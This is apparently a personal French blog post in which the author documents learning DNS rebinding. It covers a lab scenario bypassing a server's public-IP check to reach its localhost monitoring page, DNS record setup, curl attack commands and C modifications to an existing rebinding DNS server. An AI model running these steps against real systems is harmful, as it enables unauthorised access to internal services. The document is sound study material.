Je partage ce post à vocation personnelle, pour me permettre de documenter et d’archiver mes étapes dans la compréhension du « DNS Rebinding ». Il peut y avoir des erreurs et toutes les remarques sont bonnes à prendre.
Je ne garanti pas le bon fonctionnement des ressources et décline toutes responsabilités.
Ne pas utiliser ces ressources à des fins malveillantes ou illégales.
Le DNS
En principe le DNS c’est quelque chose de simple. Pour éviter de retenir une adresse ip par coeur on retient un nom pour accéder à une ressource. La correspondance entre une ip et un nom est enregistré dans un simple fichier texte. Mais derrière cette technologie, il y a des configurations et des cas d’usages variés qui peuvent vite complexifier le passage de la théorie à la pratique. Nous allons donc nous consacrer uniquement sur la résolution de nom de domaine en ipv4.
Scénario
Objectif
A partir de la machine attaquante, nous devons afficher la page de supervision du serveur victime uniquement accessible en localhost. Pour ce faire, nous allons commencer par exploiter une vulnérabilité nommée Open Redirect.
Architecture
Fonctionnement
Le serveur victime doit permettre à tous les utilisateurs d’afficher une page web d’un site internet. Il doit aussi fournir une interface de supervision uniquement aux utilisateurs connectés localement via l’url 127.0.0.1/monitoring. Pour des raisons de sécurité un utilisateur distant ne pourra pas demander au serveur d’effectuer des requêtes HTTP sur l’adresse ip 127.0.0.1.
Par exemple, on demande au serveur victime d’afficher la page de perdu.com : curl <ipV>:80/view?url=perdu.com
<html><head><title>Vous Etes Perdu ?</title></head><body><h1>Perdu sur l’Internet ?</h1><h2>Pas de panique, on va vous aider</h2><strong><pre> * <—– vous êtes ici</pre></strong></body></html>
Sécurité
Le serveur à mis en place une sécurité qui consiste à obtenir l’adresse ip du nom de domaine passé par l’attaquant. Si c’est une adresse ip publique, c’est à dire utilisable sur internet, le serveur victime va effectuer une requête HTTP pour obtenir la ressource de cette url. Ce qui va permettre d’éviter que l’attaquant passe un nom de domaine qui a pour adresse ip 127.0.0.1.
Comment enregistrer un nom de domaine qui a pour adresse ip 127.0.0.1❓ A partir de l’interface de gestion de votre fournisseur du domaine example.com effectué un enregistrement A, par exemple : localhost.example.com A 127.0.0.1.
Contournement
On va exploiter la vulnérabilité nommée DNS Rebinding.
L’attaquant demande au serveur victime d’aller sur le serveur pirate : curl example.org:80/view?url=<ipV>.127.0.0.1.example.com/monitoring
, example.com étant le nom de domaine du serveur pirate.
Nous avons utilisé la commande curl à la place d’un navigateur internet.
- Nous avons utilisé la commande curl pour effectuer une requête HTTP mais vous pouvez utiliser votre navigateur favori.
- Dans le schéma ci dessous V.com et P.com représentent successivement example.org et exemple.com pour la suite de l’article
Pour information 📌
- L’attaquant demande au serveur victime d’afficher la page monitoring du serveur pirate.
- Le serveur victime va vérifier que <ipV>.127.0.0.1.example.com possède une adresse ip publique.
- Le serveur pirate répond que son nom de domaine <ipV>.127.0.0.1.example.com correspond à l’adresse <ipV>.
- Le serveur victime vérifie que l’adresse <ipV> est bien publique avant de redemander l’adresse <ipV>.127.0.0.1.example.com pour effectuer la requête HTTP.
- Le serveur pirate répond cette fois ci que son nom de domaine <ipV>.127.0.0.1.example.com correspond à l’adresse 127.0.0.1.
- Le serveur victime effectue un requête HTTP pour récupérer la page web à l’adresse 127.0.0.1/monitoring, qui est hébergé localement sur son serveur.
- Le serveur victime retourne la page web à l’attaquant.
- Il y a des serveurs DNS entre les requêtes des serveurs pirate et victime.
- Le serveur victime effectue deux requêtes dns car dans la première réponse le serveur pirate avait positionné le ttl à 0 pour éviter que le résultat soit sauvegardé.
Pour information les étapes ont été simplifiées 📌
Let’s go
Comment référencer un serveur DNS sur un VPS
Référence :
Configuration d’un outil de DNS Rebinding : https://github.com/nccgroup/singularity/wiki/Setup-and-Installation
Nous aurons besoin :
- Un nom de domain example.com.
- Un serveur Linux pirate avec une adresse ip publique <ipP>.
A partir de l’interface de gestion de notre nom de domaine example.com, nous allons effectuer deux enregistrements de type NS et A :
- Par défaut l’hébergeur du nom de domaine peut forcer par mesure de sécurité des enregistrement NS sur notre domaine example.com. Nous allons donc utiliser un sous domaine que nous appellerons pour exemple dynamic.
- A partir de maintenant on remplace l’url de notre scénario <ipV>.127.0.0.1.example.com par <ipV>.127.0.0.1.dynamic.example.com
Pour information 📌
- dynamic.example.com NS rebinder.example.com
- rebinder.example.com A <ipP>
L’enregistrement de type NS permet de déclarer sur internet que rebinder.example.com est le serveur DNS qui fournira l’adresse ip du nom de domaine dynamic.example.com.
L’enregistrement de type A pour que les serveurs DNS sachent sur quelle machine (<ipP>) est hébergé le serveur DNS rebinder.example.com.
Développer un serveur DNS personnalisé
Références :
code : https://github.com/taviso/rbndr
exemple : https://github.com/transmission/transmission/pull/468
protocole DNS : https://www.frameip.com/dns/
TP : https://www.fil.univ-lille1.fr/~noe/rsx_portail/files/RSX_TP3.pdf
Code
Quelques légère modification à apporter au code de taviso :
- On rajoute une variable pour enlever le côté aléatoire et ainsi maîtriser les IPs retournées.
- On remplace le nom de domaine rbndr.us par example.com.
- Il faut également rajouter dans sa structure un champ subdomain pour y renseigner dynamic.
- On met à jour les longueurs de ces champs.
- On change la valeur de la variable ttl pour la mettre à 0.
...
struct __packed root {
struct __packed {
uint8_t len; // 7
uint8_t data[7]; // 'd' 'y' 'n' 'a' 'm' 'i' 'c'
} subdomain;
struct __packed {
uint8_t len; // 1
uint8_t data[1]; // 'P'
} domain;
struct __packed {
uint8_t len; // 3
uint8_t data[3]; // 'c' 'o' 'm'
} tld;
uint8_t root; // 0
};
static const struct root kExpectedDomain = {
.subdomain = { 7, { 'd', 'y', 'n', 'a', 'm', 'i', 'c' } },
.domain = { 1, { 'P' } },
.tld = { 3, { 'c', 'o', 'm' } },
.root = 0,
};
...
reply.ttl = htonl(0);
...
//Vous devez faire les modifications ici pour contrôler le côté aléatoire
// Choose a random label to return based on ID.
if (!parse_ip4_label(&reply.rdata, (query.id & 1) ? query.labels.primary.label : query.labels.secondary.label)) {
Todo
Développer son propre serveur DNS en s’appuyant sur l’expérience des différents outils déjà présents sur la toile, comme par exemple celle de Brannon Dorsey. Avec peut-être comme plus-value l’utilisation du langage Rust 🙃.
cc.<ip1>.cmd1.<ip2>.cmd2.id.dynamic.example.com
- Ajouter un identifiant unique id pour répondre en fonction des requêtes précédentes.
- Ajouter des commandes cmd, par exemple cmd1=1times pour répondre une seule fois cette adresse <ip1> et cmd2=forever pour répondre toujours cette adresse <ip2>. On gardera la priorité des commandes de gauche à droite.
- Prendre en compte les adresses ipv6 (enregistrement AAA).
- Rajouter un champ cc.
- Chiffrer et coder en base64 cc.<ip1>.cmd1.<ip2>.cmd2.id
- Sauvegarder en base de données.
- Fabriquer un IoT à base d’un SOC esp32 pour intégrer une vulnérabilité DNS Rebiding (Peut-être un prochain article dans la rubrique IoT…).
Résumé
Le pirate a un serveur Linux qui a pour ip internet <ip_pirate> et il a acheté un nom de domaine example.com.
Notre victime est un serveur qui a pour ip internet <ip_victime> et avec un nom de domaine example.org.
Comment la victime fait pour venir se connecter au serveur du pirate❓ Le pirate demande à la victime d’effectuer une requête http sur <ip1>.<ip2>.dynamic.example.com/secret Cela revient à taper l’url dans un navigateur, comme j’ai fait pour aller sur le site egarim.fr.
- L’adresse ip 8.8.8.8 appartient à google.
- Il existe d’autre service DNS comme l’adresse ip 1.1.1.1 qui est un partenariat entre Cloudflare et APNIC.
Alors comment le pirate renvoi à la victime des adresses ip alors que la victime demande une page web❓ J’ai effectué un enregistrement NS chez mon fournisseur de domaine : dynamic.example.com. NS rebind.example.com. Le nom de domaine rebind.example.com est déclaré comme étant un serveur de domaine, c’est-à-dire qu’il est le seul à fournir les adresses ip du sous-domaine dynamic.example.com et des sous-domaines *.dynamic.example.com. Par analogie regardons le fichier resolv.conf sur une machine Linux. Il se trouve dans le dossier /etc et peut contenir par exemple « nameserver 8.8.8.8 ». Ce qui veut dire que c’est l’adresse ip 8.8.8.8 qui donnera les adresses ip pour tous les noms de domaine que votre pc ne connait pas. Bien sûr cette adresse ip doit fournir un service dns, nous ne pouvons donc pas mettre n’importe quoi et il y a une notion de confiance. Pour information📌
Stop ! mais nous n’avons jamais dit à notre victime d’aller sur rebind.exmample.com❓ Effectivement, mais indirectement oui 😏. Par exemple si la victime utilise l’adresse 8.8.8.8 dans son fichier resolv.conf. C’est 8.8.8.8 qui va interroger les autres serveurs DNS pour savoir qui gère le nom de domaine <ip1>.<ip2>.dynamic.example.com, car il n’est pas connu dans ses serveurs. Ça tombe bien, j’ai déclaré à internet que rebind.example.com est responsable de la gestion des ip des sous-domaines *.dynamic.example.com. Finalement c’est 8.8.8.8 qui demande à rebind.example.com l’adresse ip de <ip1>.<ip2>.dynamic.example.com pour la fournir à notre victime.
Ok mais 8.8.8.8 ne connait pas l’ip de rebind.exmample.com 🤔❓ Bien vu 👏, pour dire à 8.8.8.8 quelle est l’adresse ip de rebind.example.com, j’ai effectué un enregistrement de type A chez mon fournisseur de domaine : rebind.example.com A <ip_pirate>.
Donc le pirate renvoi <ip1> à notre victime❓ Oui, mais ce que je ne vous ai pas dit 😗 c’est que la victime n’a pas effectué une requête HTTP en premier lieu. Elle a effectué une résolution de nom de domaine pour vérifier si <ip1> est bien une adresse internet avant d’effectuer une requête HTTP pour récupérer la ressource WEB. La victime sait que l’adresse <ip1> est publique, elle peut donc effectuer la requête HTTP. Mais elle doit d’abord redemander l’adresse ip du nom de domaine <ip1>.<ip2>.dynamic.example.com.
Mais pourquoi la victime redemande l’adresse ip❓ Oups, j’ai volontairement oublié de mentionner que le serveur pirate avait mis un ttl à 0 quand il a fourni l’adresse <ip1> à 8.8.8.8. Ce qui a eu pour conséquence de ne pas mettre en cache l’adresse <ip1>. Ainsi la victime doit repasser par le processus de résolution de nom de domaine 😈. Cette fois-ci le serveur pirate va retourner l’adresse <ip2> avec pour valeur 127.0.0.1 et la victime va donc récupérer une ressource critique sur son serveur qui est sa page secrète (/secret) 🤘🤘🏿🤘🏾🤘🏽🤘🏼🤘🏻
Bibliographie
- localhost : https://datatracker.ietf.org/doc/html/rfc6761
- Open Redirect : https://cwe.mitre.org/data/definitions/601.html
- Ip publique : https://www.iana.org/numbers
- DNS Rebinding : https://capec.mitre.org/data/definitions/275.html
- Configuration d’un outil de DNS Rebinding : https://github.com/nccgroup/singularity/wiki/Setup-and-Installation
- Enregistrement DNS NS : https://www.cloudflare.com/fr-fr/learning/dns/dns-records/dns-ns-record/
- Code c pour un POC DNS : https://github.com/taviso/rbndr
- Exemple d’utilisation du POC en c : https://github.com/transmission/transmission/pull/468
- Protocole DNS : https://www.frameip.com/dns/
- TP sur un POC DNS de l’Université de Lille I : https://www.fil.univ-lille1.fr/~noe/rsx_portail/files/RSX_TP3.pdf